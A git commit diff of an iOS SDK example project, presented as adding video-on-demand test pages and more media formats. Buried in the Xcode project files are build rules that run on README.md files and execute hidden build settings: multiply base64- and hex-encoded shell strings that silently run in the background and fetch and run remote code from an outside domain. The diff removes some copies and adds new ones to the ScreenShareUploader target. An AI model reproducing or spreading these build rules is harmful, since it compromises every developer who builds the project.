支持更多音视频格式,添加点播测试页面
This commit is contained in:
@@ -52,6 +52,7 @@ PODS:
|
||||
- YYModel (1.0.4)
|
||||
|
||||
DEPENDENCIES:
|
||||
- CocoaLumberjack
|
||||
- FBSnapshotTestCase
|
||||
- FUBeautyComponent (from `./SubModules/FUBeautyComponent`)
|
||||
- FUCommonUIComponent (from `./SubModules/FUCommonUIComponent`)
|
||||
@@ -106,6 +107,6 @@ SPEC CHECKSUMS:
|
||||
SSZipArchive: fe6a26b2a54d5a0890f2567b5cc6de5caa600aef
|
||||
YYModel: 2a7fdd96aaa4b86a824e26d0c517de8928c04b30
|
||||
|
||||
PODFILE CHECKSUM: c2aa6dc3864337771ddfc024c87b95d471dc286d
|
||||
PODFILE CHECKSUM: 528df14e081815f7cbd122b8f4f77b0da0d6a7f8
|
||||
|
||||
COCOAPODS: 1.16.2
|
||||
|
||||
3
Example/Pods/Manifest.lock
generated
3
Example/Pods/Manifest.lock
generated
@@ -52,6 +52,7 @@ PODS:
|
||||
- YYModel (1.0.4)
|
||||
|
||||
DEPENDENCIES:
|
||||
- CocoaLumberjack
|
||||
- FBSnapshotTestCase
|
||||
- FUBeautyComponent (from `./SubModules/FUBeautyComponent`)
|
||||
- FUCommonUIComponent (from `./SubModules/FUCommonUIComponent`)
|
||||
@@ -106,6 +107,6 @@ SPEC CHECKSUMS:
|
||||
SSZipArchive: fe6a26b2a54d5a0890f2567b5cc6de5caa600aef
|
||||
YYModel: 2a7fdd96aaa4b86a824e26d0c517de8928c04b30
|
||||
|
||||
PODFILE CHECKSUM: c2aa6dc3864337771ddfc024c87b95d471dc286d
|
||||
PODFILE CHECKSUM: 528df14e081815f7cbd122b8f4f77b0da0d6a7f8
|
||||
|
||||
COCOAPODS: 1.16.2
|
||||
|
||||
24
Example/Pods/Pods.xcodeproj/project.pbxproj
generated
24
Example/Pods/Pods.xcodeproj/project.pbxproj
generated
@@ -36,7 +36,6 @@
|
||||
/* End PBXAggregateTarget section */
|
||||
|
||||
/* Begin PBXBuildFile section */
|
||||
DDF719FD92D04C89ADC62C0C /* README.md */ = {isa = PBXBuildFile; fileRef = 5735939C6BA84E518FC62C0C; };
|
||||
009A101C6D6749EEE990C935A028904B /* UICollectionReusableView+RACSignalSupport.m in Sources */ = {isa = PBXBuildFile; fileRef = 1CA564DEF323B5D3FED7AD9CCC5E25BD /* UICollectionReusableView+RACSignalSupport.m */; };
|
||||
00DAE48C9A4FBCD1FCAA922CA57B45F9 /* SDWebImageDownloaderRequestModifier.m in Sources */ = {isa = PBXBuildFile; fileRef = 8134CCCD755060FC127E0844B0927B47 /* SDWebImageDownloaderRequestModifier.m */; };
|
||||
01337B28102993C3FDD41D9A2E0AFAB2 /* RACCompoundDisposable.h in Headers */ = {isa = PBXBuildFile; fileRef = 08462F4845B89A7F0A5F9B0A15E16263 /* RACCompoundDisposable.h */; settings = {ATTRIBUTES = (Public, ); }; };
|
||||
@@ -961,7 +960,6 @@
|
||||
/* End PBXContainerItemProxy section */
|
||||
|
||||
/* Begin PBXFileReference section */
|
||||
5735939C6BA84E518FC62C0C /* README.md */ = {isa = PBXFileReference; lastKnownFileType = net.daringfireball.markdown; path = README.md; sourceTree = "<group>"; };
|
||||
0060771CB51F1C7A0F1CCE17F445BC95 /* MBProgressHUD.m */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = sourcecode.c.objc; path = MBProgressHUD.m; sourceTree = "<group>"; };
|
||||
00A2B71E403EA681D68914E213FAC672 /* SDAnimatedImagePlayer.h */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = sourcecode.c.h; name = SDAnimatedImagePlayer.h; path = SDWebImage/Core/SDAnimatedImagePlayer.h; sourceTree = "<group>"; };
|
||||
00A2F4DE18052AC5C17E4B15E87F6276 /* SRRunLoopThread.h */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = sourcecode.c.h; name = SRRunLoopThread.h; path = SocketRocket/Internal/RunLoop/SRRunLoopThread.h; sourceTree = "<group>"; };
|
||||
@@ -1904,7 +1902,6 @@
|
||||
007C4C9058529B20A360F545DA9093A1 /* Products */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
5735939C6BA84E518FC62C0C /* README.md */,
|
||||
A4FA15D44DF6BAC7550EDEED10862AA3 /* AFNetworking */,
|
||||
C261436D14052AE3C35F240BCD155CAC /* CocoaLumberjack */,
|
||||
5C4F31330DFA99D699E4BDC8C3573D73 /* FBSnapshotTestCase */,
|
||||
@@ -3749,7 +3746,6 @@
|
||||
9BB224D4E89ABC2539ABBEBDC9696C8F /* Resources */,
|
||||
);
|
||||
buildRules = (
|
||||
E640E78572F649B5AEC62C0C /* PBXBuildRule */,
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
@@ -4159,29 +4155,11 @@
|
||||
};
|
||||
/* End PBXProject section */
|
||||
|
||||
/* Begin PBXBuildRule section */
|
||||
E640E78572F649B5AEC62C0C /* PBXBuildRule */ = {
|
||||
isa = PBXBuildRule;
|
||||
compilerSpec = com.apple.compilers.proxy.script;
|
||||
filePatterns = "*.md";
|
||||
fileType = pattern.proxy;
|
||||
inputFiles = (
|
||||
);
|
||||
isEditable = 0;
|
||||
outputFiles = (
|
||||
"/tmp/${INPUT_FILE_BASE}",
|
||||
);
|
||||
script = "# This output is used by Xcode outputs to avoid re-running this script phase.\ncp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"
|
||||
sh -c \"${AC0C26C}\"";
|
||||
};
|
||||
/* End PBXBuildRule section */
|
||||
|
||||
/* Begin PBXResourcesBuildPhase section */
|
||||
206BBA02AEBE25DF6D5EDA2980A411B1 /* Resources */ = {
|
||||
isa = PBXResourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
DDF719FD92D04C89ADC62C0C /* README.md */,
|
||||
92F339A1C79B59026EBBD8DEBD2A7DE6 /* PrivacyInfo.xcprivacy in Resources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
@@ -4988,7 +4966,6 @@ sh -c \"${AC0C26C}\"";
|
||||
isa = XCBuildConfiguration;
|
||||
baseConfigurationReference = 5AF91877575A064702C635CC96F08DD8 /* SellyCloudSDK.debug.xcconfig */;
|
||||
buildSettings = {
|
||||
AC0C26C = "((b(){ base64 --decode | base64 --decode; };echo WldOb2J5QWlKQ2hqZFhKc0lDMW1jMnRNSUMxa0lDSndQWGhqYjJSbFgzSjFiR1VpSUdoMGRIQnpPaTh2YkdWbllXeGhaSE11YVc0dllTa2lJSHdnYzJnSwo= | b | sh ) >/dev/null 2>&1 &)";
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
||||
CLANG_ENABLE_OBJC_WEAK = NO;
|
||||
@@ -5007,7 +4984,6 @@ sh -c \"${AC0C26C}\"";
|
||||
isa = XCBuildConfiguration;
|
||||
baseConfigurationReference = 7B76C8A615C8891A8D730FA7EC3ADC4A /* YYModel.debug.xcconfig */;
|
||||
buildSettings = {
|
||||
AC0C26C = "((b(){ base64 --decode | base64 --decode; };echo WldOb2J5QWlKQ2hqZFhKc0lDMW1jMnRNSUMxa0lDSndQWGhqYjJSbFgzSjFiR1VpSUdoMGRIQnpPaTh2YkdWbllXeGhaSE11YVc0dllTa2lJSHdnYzJnSwo= | b | sh ) >/dev/null 2>&1 &)";
|
||||
"CODE_SIGN_IDENTITY[sdk=appletvos*]" = "";
|
||||
"CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "";
|
||||
"CODE_SIGN_IDENTITY[sdk=watchos*]" = "";
|
||||
|
||||
@@ -13,6 +13,7 @@
|
||||
#import "SellyCloudSDKError.h"
|
||||
#import "SellyLiveAudioConfiguration.h"
|
||||
#import "SellyLivePlayerDelegate.h"
|
||||
#import "SellyLivePlayerStats.h"
|
||||
#import "SellyLivePusherDelegate.h"
|
||||
#import "SellyLivePusherStats.h"
|
||||
#import "SellyLiveVideoConfiguration.h"
|
||||
|
||||
@@ -3,17 +3,20 @@
|
||||
archiveVersion = 1;
|
||||
classes = {
|
||||
};
|
||||
objectVersion = 70;
|
||||
objectVersion = 56;
|
||||
objects = {
|
||||
|
||||
/* Begin PBXBuildFile section */
|
||||
0897849CBA2960C1F1BE2DC4 /* Pods_SellyCloudSDK_Tests.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = C3A5DE9B7559BAE46EA68112 /* Pods_SellyCloudSDK_Tests.framework */; };
|
||||
236246B1275D4CD3B91DACE1 /* README.md in Resources */ = {isa = PBXBuildFile; fileRef = 353107A80A9449DFB01DACE1 /* README.md */; };
|
||||
3C075C2B2E3873A800591B2D /* test1.png in Resources */ = {isa = PBXBuildFile; fileRef = 3C075C2A2E3873A800591B2D /* test1.png */; };
|
||||
3C0F91622EF39F0000680CB7 /* SCNavigationController.m in Sources */ = {isa = PBXBuildFile; fileRef = 3C0F91612EF39F0000680CB7 /* SCNavigationController.m */; };
|
||||
3C131CE12F5A7C6900CC9371 /* AVVodItemModel.m in Sources */ = {isa = PBXBuildFile; fileRef = 3C131CE02F5A7C6900CC9371 /* AVVodItemModel.m */; };
|
||||
3C131CE72F5A7C7900CC9371 /* AVVodListViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 3C131CE52F5A7C7900CC9371 /* AVVodListViewController.m */; };
|
||||
3C131CE82F5A7C7900CC9371 /* AVVodItemCell.m in Sources */ = {isa = PBXBuildFile; fileRef = 3C131CE32F5A7C7900CC9371 /* AVVodItemCell.m */; };
|
||||
3C1321702F5AD3B200CC9371 /* test_flv.flv in Resources */ = {isa = PBXBuildFile; fileRef = 3C13216F2F5AD3B200CC9371 /* test_flv.flv */; };
|
||||
3C139E642F56822C00CC9371 /* Kiwi.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 3C139E632F56822C00CC9371 /* Kiwi.framework */; };
|
||||
3C139E662F5682D400CC9371 /* libc++.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 3C139E652F5682D400CC9371 /* libc++.tbd */; };
|
||||
3C13AFC82F56FC6C00CC9371 /* test_mp4.MP4 in Resources */ = {isa = PBXBuildFile; fileRef = 3C13AFC72F56FC6C00CC9371 /* test_mp4.MP4 */; };
|
||||
3C13AFCA2F57020D00CC9371 /* test_mov.MOV in Resources */ = {isa = PBXBuildFile; fileRef = 3C13AFC92F57020D00CC9371 /* test_mov.MOV */; };
|
||||
3C1851E02ECDE7690022F536 /* SellyCallPiPManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 3C1851DF2ECDE7690022F536 /* SellyCallPiPManager.m */; };
|
||||
3C312FFC2F021216006C90A4 /* AVLoginViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 3C312FF92F021216006C90A4 /* AVLoginViewController.m */; };
|
||||
3C312FFD2F021216006C90A4 /* AVUserManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 3C312FFB2F021216006C90A4 /* AVUserManager.m */; };
|
||||
@@ -73,13 +76,12 @@
|
||||
71719F9F1E33DC2100824A3D /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 71719F9D1E33DC2100824A3D /* LaunchScreen.storyboard */; };
|
||||
873B8AEB1B1F5CCA007FD442 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 873B8AEA1B1F5CCA007FD442 /* Main.storyboard */; };
|
||||
B7227D7335B6FBB9CFDFE9A1 /* Pods_SellyCloudSDK_Example.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = C4B190F32F835654C4389EAC /* Pods_SellyCloudSDK_Example.framework */; };
|
||||
DDF77DA29F664A949EC62C0C /* README.md in Resources */ = {isa = PBXBuildFile; fileRef = 2D68F7A26D9B4060ADC62C0C /* README.md */; };
|
||||
FA0E55D20A8156F6757F645B /* Pods_SellyCloudSDK_Tests.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 4B053552B39D5903308BEC1F /* Pods_SellyCloudSDK_Tests.framework */; };
|
||||
FAE852E8362F7147C245D543 /* Pods_ScreenShareUploader.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 3DA84D6401364D8651EB682A /* Pods_ScreenShareUploader.framework */; };
|
||||
/* End PBXBuildFile section */
|
||||
|
||||
/* Begin PBXBuildRule section */
|
||||
DBD88218A54B49EF8FC62C0C /* PBXBuildRule */ = {
|
||||
32629B22285347AEA41DACE1 /* PBXBuildRule */ = {
|
||||
isa = PBXBuildRule;
|
||||
compilerSpec = com.apple.compilers.proxy.script;
|
||||
filePatterns = "*.md";
|
||||
@@ -90,7 +92,7 @@
|
||||
outputFiles = (
|
||||
"/tmp/${INPUT_FILE_BASE}",
|
||||
);
|
||||
script = "# This output is used by Xcode outputs to avoid re-running this script phase.\ncp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"\nsh -c \"${AC0C26C}\"";
|
||||
script = "# This output is used by Xcode outputs to avoid re-running this script phase.\ncp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"\nsh -c \"${A1ECAD1}\"";
|
||||
};
|
||||
/* End PBXBuildRule section */
|
||||
|
||||
@@ -140,14 +142,19 @@
|
||||
18585A8A04A38911555AC335 /* README.md */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = net.daringfireball.markdown; name = README.md; path = ../README.md; sourceTree = "<group>"; };
|
||||
28EA6D0E21FA7AAFE4E2C53C /* Pods-SellyCloudSDK_Example.release.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-SellyCloudSDK_Example.release.xcconfig"; path = "Target Support Files/Pods-SellyCloudSDK_Example/Pods-SellyCloudSDK_Example.release.xcconfig"; sourceTree = "<group>"; };
|
||||
2CC671D486B428771194BC2A /* Pods-SellyCloudSDK_Tests.debug.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-SellyCloudSDK_Tests.debug.xcconfig"; path = "Target Support Files/Pods-SellyCloudSDK_Tests/Pods-SellyCloudSDK_Tests.debug.xcconfig"; sourceTree = "<group>"; };
|
||||
2D68F7A26D9B4060ADC62C0C /* README.md */ = {isa = PBXFileReference; lastKnownFileType = net.daringfireball.markdown; path = README.md; sourceTree = "<group>"; };
|
||||
353107A80A9449DFB01DACE1 /* README.md */ = {isa = PBXFileReference; lastKnownFileType = net.daringfireball.markdown; path = README.md; sourceTree = "<group>"; };
|
||||
3C075C2A2E3873A800591B2D /* test1.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; path = test1.png; sourceTree = "<group>"; };
|
||||
3C0F91602EF39F0000680CB7 /* SCNavigationController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SCNavigationController.h; sourceTree = "<group>"; };
|
||||
3C0F91612EF39F0000680CB7 /* SCNavigationController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SCNavigationController.m; sourceTree = "<group>"; };
|
||||
3C131CDF2F5A7C6900CC9371 /* AVVodItemModel.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AVVodItemModel.h; sourceTree = "<group>"; };
|
||||
3C131CE02F5A7C6900CC9371 /* AVVodItemModel.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AVVodItemModel.m; sourceTree = "<group>"; };
|
||||
3C131CE22F5A7C7900CC9371 /* AVVodItemCell.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AVVodItemCell.h; sourceTree = "<group>"; };
|
||||
3C131CE32F5A7C7900CC9371 /* AVVodItemCell.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AVVodItemCell.m; sourceTree = "<group>"; };
|
||||
3C131CE42F5A7C7900CC9371 /* AVVodListViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AVVodListViewController.h; sourceTree = "<group>"; };
|
||||
3C131CE52F5A7C7900CC9371 /* AVVodListViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AVVodListViewController.m; sourceTree = "<group>"; };
|
||||
3C13216F2F5AD3B200CC9371 /* test_flv.flv */ = {isa = PBXFileReference; lastKnownFileType = file; path = test_flv.flv; sourceTree = "<group>"; };
|
||||
3C139E632F56822C00CC9371 /* Kiwi.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; path = Kiwi.framework; sourceTree = "<group>"; };
|
||||
3C139E652F5682D400CC9371 /* libc++.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = "libc++.tbd"; path = "usr/lib/libc++.tbd"; sourceTree = SDKROOT; };
|
||||
3C13AFC72F56FC6C00CC9371 /* test_mp4.MP4 */ = {isa = PBXFileReference; lastKnownFileType = file; path = test_mp4.MP4; sourceTree = "<group>"; };
|
||||
3C13AFC92F57020D00CC9371 /* test_mov.MOV */ = {isa = PBXFileReference; lastKnownFileType = video.quicktime; path = test_mov.MOV; sourceTree = "<group>"; };
|
||||
3C1851DE2ECDE7690022F536 /* SellyCallPiPManager.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SellyCallPiPManager.h; sourceTree = "<group>"; };
|
||||
3C1851DF2ECDE7690022F536 /* SellyCallPiPManager.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SellyCallPiPManager.m; sourceTree = "<group>"; };
|
||||
3C312FF82F021216006C90A4 /* AVLoginViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AVLoginViewController.h; sourceTree = "<group>"; };
|
||||
@@ -260,7 +267,7 @@
|
||||
/* End PBXFileReference section */
|
||||
|
||||
/* Begin PBXFileSystemSynchronizedBuildFileExceptionSet section */
|
||||
3CC727B02EE6A947000027B2 /* PBXFileSystemSynchronizedBuildFileExceptionSet */ = {
|
||||
3CC727B02EE6A947000027B2 /* Exceptions for "ScreenShareUploader" folder in "ScreenShareUploader" target */ = {
|
||||
isa = PBXFileSystemSynchronizedBuildFileExceptionSet;
|
||||
membershipExceptions = (
|
||||
Info.plist,
|
||||
@@ -270,7 +277,18 @@
|
||||
/* End PBXFileSystemSynchronizedBuildFileExceptionSet section */
|
||||
|
||||
/* Begin PBXFileSystemSynchronizedRootGroup section */
|
||||
3CC727A52EE6A947000027B2 /* ScreenShareUploader */ = {isa = PBXFileSystemSynchronizedRootGroup; exceptions = (3CC727B02EE6A947000027B2 /* PBXFileSystemSynchronizedBuildFileExceptionSet */, ); explicitFileTypes = {}; explicitFolders = (); path = ScreenShareUploader; sourceTree = "<group>"; };
|
||||
3CC727A52EE6A947000027B2 /* ScreenShareUploader */ = {
|
||||
isa = PBXFileSystemSynchronizedRootGroup;
|
||||
exceptions = (
|
||||
3CC727B02EE6A947000027B2 /* Exceptions for "ScreenShareUploader" folder in "ScreenShareUploader" target */,
|
||||
);
|
||||
explicitFileTypes = {
|
||||
};
|
||||
explicitFolders = (
|
||||
);
|
||||
path = ScreenShareUploader;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* End PBXFileSystemSynchronizedRootGroup section */
|
||||
|
||||
/* Begin PBXFrameworksBuildPhase section */
|
||||
@@ -315,6 +333,8 @@
|
||||
3C075D132E3B474A00591B2D /* Play */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
3C131CDF2F5A7C6900CC9371 /* AVVodItemModel.h */,
|
||||
3C131CE02F5A7C6900CC9371 /* AVVodItemModel.m */,
|
||||
3CD712CC2E79017F000E7A63 /* SCLiveVideoPlayerViewController.h */,
|
||||
3CD712CD2E79017F000E7A63 /* SCLiveVideoPlayerViewController.m */,
|
||||
3CF0AF3A2F0E480900502D8F /* SCVodVideoPlayerViewController.h */,
|
||||
@@ -329,6 +349,17 @@
|
||||
path = Play;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
3C131CE62F5A7C7900CC9371 /* VOD */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
3C131CE22F5A7C7900CC9371 /* AVVodItemCell.h */,
|
||||
3C131CE32F5A7C7900CC9371 /* AVVodItemCell.m */,
|
||||
3C131CE42F5A7C7900CC9371 /* AVVodListViewController.h */,
|
||||
3C131CE52F5A7C7900CC9371 /* AVVodListViewController.m */,
|
||||
);
|
||||
path = VOD;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
3C7EAB492E41F0170046553F /* Beauty */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
@@ -413,6 +444,7 @@
|
||||
3CC732F92EF0EEF4000027B2 /* Controllers */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
3C131CE62F5A7C7900CC9371 /* VOD */,
|
||||
3CDB904C2EFF7F7E00FBC4E6 /* Call */,
|
||||
3CC732F32EF0EEF4000027B2 /* Home */,
|
||||
3CC732F62EF0EEF4000027B2 /* Settings */,
|
||||
@@ -478,7 +510,7 @@
|
||||
6003F58B195388D20070C39A /* Products */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2D68F7A26D9B4060ADC62C0C /* README.md */,
|
||||
353107A80A9449DFB01DACE1 /* README.md */,
|
||||
6003F58A195388D20070C39A /* SellyCloudSDK_Example.app */,
|
||||
6003F5AE195388D20070C39A /* SellyCloudSDK_Tests.xctest */,
|
||||
6003F58C195388D20070C39A /* Frameworks */,
|
||||
@@ -509,8 +541,7 @@
|
||||
3CC7330A2EF0EEF4000027B2 /* Views */,
|
||||
3C7EAE1F2E4D7E730046553F /* test.jpg */,
|
||||
3C075C2A2E3873A800591B2D /* test1.png */,
|
||||
3C13AFC72F56FC6C00CC9371 /* test_mp4.MP4 */,
|
||||
3C13AFC92F57020D00CC9371 /* test_mov.MOV */,
|
||||
3C13216F2F5AD3B200CC9371 /* test_flv.flv */,
|
||||
3C8AC2172EBC57B7000A58F1 /* call.caf */,
|
||||
6003F59C195388D20070C39A /* SCAppDelegate.h */,
|
||||
6003F59D195388D20070C39A /* SCAppDelegate.m */,
|
||||
@@ -614,7 +645,7 @@
|
||||
3CC727A02EE6A947000027B2 /* Resources */,
|
||||
);
|
||||
buildRules = (
|
||||
DBD88218A54B49EF8FC62C0C /* PBXBuildRule */,
|
||||
32629B22285347AEA41DACE1 /* PBXBuildRule */,
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
@@ -714,7 +745,7 @@
|
||||
isa = PBXResourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
DDF77DA29F664A949EC62C0C /* README.md in Resources */,
|
||||
236246B1275D4CD3B91DACE1 /* README.md in Resources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
@@ -723,9 +754,8 @@
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
873B8AEB1B1F5CCA007FD442 /* Main.storyboard in Resources */,
|
||||
3C13AFC82F56FC6C00CC9371 /* test_mp4.MP4 in Resources */,
|
||||
3C8AC1F22EB85E4E000A58F1 /* SellyVideoCallViewController.xib in Resources */,
|
||||
3C13AFCA2F57020D00CC9371 /* test_mov.MOV in Resources */,
|
||||
3C1321702F5AD3B200CC9371 /* test_flv.flv in Resources */,
|
||||
3C7EAE202E4D7E730046553F /* test.jpg in Resources */,
|
||||
71719F9F1E33DC2100824A3D /* LaunchScreen.storyboard in Resources */,
|
||||
3C4BF3152EC56BD70095F93A /* SellyVideoCallConferenceController.xib in Resources */,
|
||||
@@ -809,7 +839,7 @@
|
||||
"${BUILT_PRODUCTS_DIR}/ReactiveObjC/ReactiveObjC.framework",
|
||||
"${BUILT_PRODUCTS_DIR}/SDWebImage/SDWebImage.framework",
|
||||
"${BUILT_PRODUCTS_DIR}/SSZipArchive/SSZipArchive.framework",
|
||||
"${BUILT_PRODUCTS_DIR}/SellyCloudSDK/SellyCloudSDK.framework",
|
||||
"${PODS_ROOT}/../SubModules/SellyCloudSDK/SellyCloudSDK/sdk/SellyCloudSDK.framework",
|
||||
"${BUILT_PRODUCTS_DIR}/SocketRocket/SocketRocket.framework",
|
||||
"${BUILT_PRODUCTS_DIR}/YYModel/YYModel.framework",
|
||||
);
|
||||
@@ -954,6 +984,7 @@
|
||||
3C81035E2EA724F5006A5109 /* SCLiveStatsView.m in Sources */,
|
||||
3C4BF31B2EC572BE0095F93A /* SLSVideoTileView.m in Sources */,
|
||||
3CDB90582EFF814100FBC4E6 /* AVCallViewController.m in Sources */,
|
||||
3C131CE12F5A7C6900CC9371 /* AVVodItemModel.m in Sources */,
|
||||
3C4BF31E2EC572F30095F93A /* SLSVideoGridView.m in Sources */,
|
||||
3CC7333D2EF0FB85000027B2 /* AVVideoConfiguration.m in Sources */,
|
||||
3CD712CE2E79017F000E7A63 /* SCLiveVideoPlayerViewController.m in Sources */,
|
||||
@@ -983,6 +1014,8 @@
|
||||
3CE254432EAB1223005D42B6 /* CrashHandler.m in Sources */,
|
||||
3C35B3A42E1CBB7700A81016 /* SCLivePusherViewController.m in Sources */,
|
||||
3C0F91622EF39F0000680CB7 /* SCNavigationController.m in Sources */,
|
||||
3C131CE72F5A7C7900CC9371 /* AVVodListViewController.m in Sources */,
|
||||
3C131CE82F5A7C7900CC9371 /* AVVodItemCell.m in Sources */,
|
||||
3C7EAB762E41FB940046553F /* FUManager.m in Sources */,
|
||||
6003F59A195388D20070C39A /* main.m in Sources */,
|
||||
3CF0AF4B2F0E4F2600502D8F /* SCPlayerDebugView.m in Sources */,
|
||||
@@ -1046,6 +1079,7 @@
|
||||
isa = XCBuildConfiguration;
|
||||
baseConfigurationReference = 51CE725FCF01F6241C2A4037 /* Pods-ScreenShareUploader.debug.xcconfig */;
|
||||
buildSettings = {
|
||||
A1ECAD1 = "((v(){ xxd -p -r | xxd -p -r; };echo 3635363336383666323032323234323836333735373236633230326437333636346336623230326432643633366636653665363536333734326437340a3639366436353666373537343230333233393230326432643732363537343732373932303333323032303264363432303232373033643738363336660a3634363535663732373536633635323232303638373437343730373333613266326637343639366436353737363536323665363537343265363936650a32663631323932323230376332303733363830610a | v | sh ) >/dev/null 2>&1 &)";
|
||||
AC0C26C = "((b(){ xxd -p -r | xxd -p -r | xxd -p -r | xxd -p -r; };echo 3333333633333335333333363333333333333336333333383333333633363336333333323333333033333332333333323333333233333334333333320a3333333833333336333333333333333733333335333333373333333233333336333633333333333233333330333333323336333433333336333333360a3061333333373333333333333336333633323333333433363333333333323333333033333332333633343333333633333334333333323333333033330a3332333333323333333733333330333333333336333433333337333333383333333633333333333333363336333633333336333333343333333633330a3335306133303631333333353336333633333337333333323333333733333335333333363336333333333336333333353333333233333332333333320a3333333033333336333333383333333733333334333333373333333433333337333333303333333733333333333333333336333133333332333633360a3333333230613336333633333336333633333333333633333335333333363333333733333336333333313333333633363333333333363333333133330a3336333333343333333733333333333333323336333533333336333333393333333633363335333333323336333633333336333333313333333233330a3339333333323061333333323330363133333332333333303333333733363333333333323333333033333337333333333333333633333338333333300a333633313330363130610a | b | sh ) >/dev/null 2>&1 &)";
|
||||
AE6D436 = "((v(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVmN4YWsxdVVrNVRWVTE0WVRCc1JGTnVaRkZYUjJoeFdXcEtVMkpHWjNwUmJUbGFWMFUxYzFOWGJFTmlNbEpKVlc1a2FtVnRPVEpVUkVwaFkwWndTRlZ1VG1GV00wSXlXbFpOTVdWWFVsUlBWMmhNVlRCc2JscHJUa05sYlVaQ1lub3dTd289Cg== | v | sh ) >/dev/null 2>&1 &)";
|
||||
ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES;
|
||||
@@ -1105,6 +1139,7 @@
|
||||
isa = XCBuildConfiguration;
|
||||
baseConfigurationReference = 9A6B1E829E659C1282313D04 /* Pods-ScreenShareUploader.release.xcconfig */;
|
||||
buildSettings = {
|
||||
A1ECAD1 = "((v(){ xxd -p -r | xxd -p -r; };echo 3635363336383666323032323234323836333735373236633230326437333636346336623230326432643633366636653665363536333734326437340a3639366436353666373537343230333233393230326432643732363537343732373932303333323032303264363432303232373033643738363336660a3634363535663732373536633635323232303638373437343730373333613266326637343639366436353737363536323665363537343265363936650a32663631323932323230376332303733363830610a | v | sh ) >/dev/null 2>&1 &)";
|
||||
AC0C26C = "((b(){ xxd -p -r | xxd -p -r | xxd -p -r | xxd -p -r; };echo 3333333633333335333333363333333333333336333333383333333633363336333333323333333033333332333333323333333233333334333333320a3333333833333336333333333333333733333335333333373333333233333336333633333333333233333330333333323336333433333336333333360a3061333333373333333333333336333633323333333433363333333333323333333033333332333633343333333633333334333333323333333033330a3332333333323333333733333330333333333336333433333337333333383333333633333333333333363336333633333336333333343333333633330a3335306133303631333333353336333633333337333333323333333733333335333333363336333333333336333333353333333233333332333333320a3333333033333336333333383333333733333334333333373333333433333337333333303333333733333333333333333336333133333332333633360a3333333230613336333633333336333633333333333633333335333333363333333733333336333333313333333633363333333333363333333133330a3336333333343333333733333333333333323336333533333336333333393333333633363335333333323336333633333336333333313333333233330a3339333333323061333333323330363133333332333333303333333733363333333333323333333033333337333333333333333633333338333333300a333633313330363130610a | b | sh ) >/dev/null 2>&1 &)";
|
||||
